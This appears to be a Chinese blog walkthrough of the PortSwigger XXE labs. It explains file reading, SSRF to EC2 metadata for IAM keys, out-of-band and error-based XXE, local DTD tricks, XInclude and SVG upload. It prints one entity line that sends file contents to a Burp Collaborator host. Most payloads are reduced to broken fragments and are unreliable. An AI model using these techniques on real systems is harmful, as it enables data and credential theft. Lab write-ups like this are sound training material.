Portswigger web security academy:XML external entity (XXE) injection
阅读原文时间:2021年06月04日阅读:1

Portswigger web security academy:XML external entity (XXE) injection

目录

  • Portswigger web security academy:XML external entity (XXE) injection

  • 题目描述

    • Check stock功能点可能存在XXE
  • 要求

    • 读取/etc/passwd
  • 解题过程

    • 构造读取文件的exp


      • ]>
        1&ext;1
  • 题目描述

    • Check stock功能点可以XXE
    • 169.254.169.254存在EC2元数据端点
  • 要求

    • 利用XXE进行SSRF,获取EC2中的IAM secret access key
  • 解题步骤

    • 构造exp


      • ]>
        &xxe;1&xxe;

      • 这里需要把实体放在productId中,因为该参数出错后会把输入的内容返回

      • 请求会返回目录,根据返回的目录逐层进入即可

  • 题目描述

    • Check stock存在XXE
    • 但是没有返回
  • 要求

    • 实现OOB(Out-Of-Band 外带) XXE
  • 解题过程

    • 利用burp自带的Collaborator构造exp


    • ]>
      &xxe;1&xxe;

  • 题目描述

    • Check stock存在XXE
    • 会阻止包含常规外部实体的请求
  • 要求

    • 实现OOB XXE
  • 解题过程

    • 从材料中得知,除了普通的外部实体,还有参数实体

    • 借助参数实体构造exp


      • %xxe; ]>
        11
  • 题目描述

    • Check stock存在XXE
  • 要求

    • 获取/etc/hostname的内容
  • 解题步骤

    • 借助collaborator构造参数实体exp并上传到exploirt server


      • ">
        %eval;
        %exfiltrate;

      • 其中的&#x25%的十六进制下的实体编码,用实体编码是为了防止报错

      • %eval会解码并执行<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>,即进行参数实体exfiltrate的定义声明

    • 构造xxe加载exp

      • %ext;]
    • 在collaborator client查看请求,复制并提交hostname

  • 题目描述

    • Check stock存在XXE
    • exploit server可以放置恶意DTD
  • 要求

    • 通过报错信息获取/etc/passwd的内容
  • 解题步骤

    • 和上一题类似,先构造参数实体exp并上传到exploit server


      • ">%eval;%error;
    • 构造xxe加载exp

      • %ext;]>
  • 题目描述

    • Check stock存在XXE
    • 主机存在DTD文件/usr/share/yelp/dtd/docbookx.dtd,且其中有一个实体叫做ISOamso
  • 要求

  • 解题步骤

    • 材料已经写的很详细了,直接构造exp



      • ">
        %eval;
        %error;
        '>
        %local_dtd;
        ]>

      • 这个exp解决了当主机无法加载外网DTD文件时如何进行报错XXE的问题

      • 巧妙之处在于,直接提交的XML:一个内部实体中不能包含另一个实体,但是通过加载并重定义本地DTD文件中的实体,可以解决这个问题

  • 题目描述

    • Check stock存在XXE,用户输入会被嵌入服务端的XML中并随后被解析
  • 要求

    • 借助XInclude语句获取/etc/passwd文件内容
  • 解题步骤

    • 关于XInclude可以看看这篇文章

    • 简而言之,它的作用和php的include类似,把目标文件的内容包含进来

    • 构造exp

      • productId= &storeId=1
  • 题目描述

    • 这个lab允许用户上传图片
    • 服务端使用Apache Batik library处理上传的图片
  • 要求

    • 通过XXE获取/etc/hostname的内容并提交
  • 解题步骤

    • 尝试构造exp


      • ]>
        &xxe;

      • 报错500,然后尝试了很多其他格式和命名方式,都不行,去看了官方的solution。。。发现需要用svg的标准来写,因为最后内容会被转换为png


      • ]>
        &xxe;

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章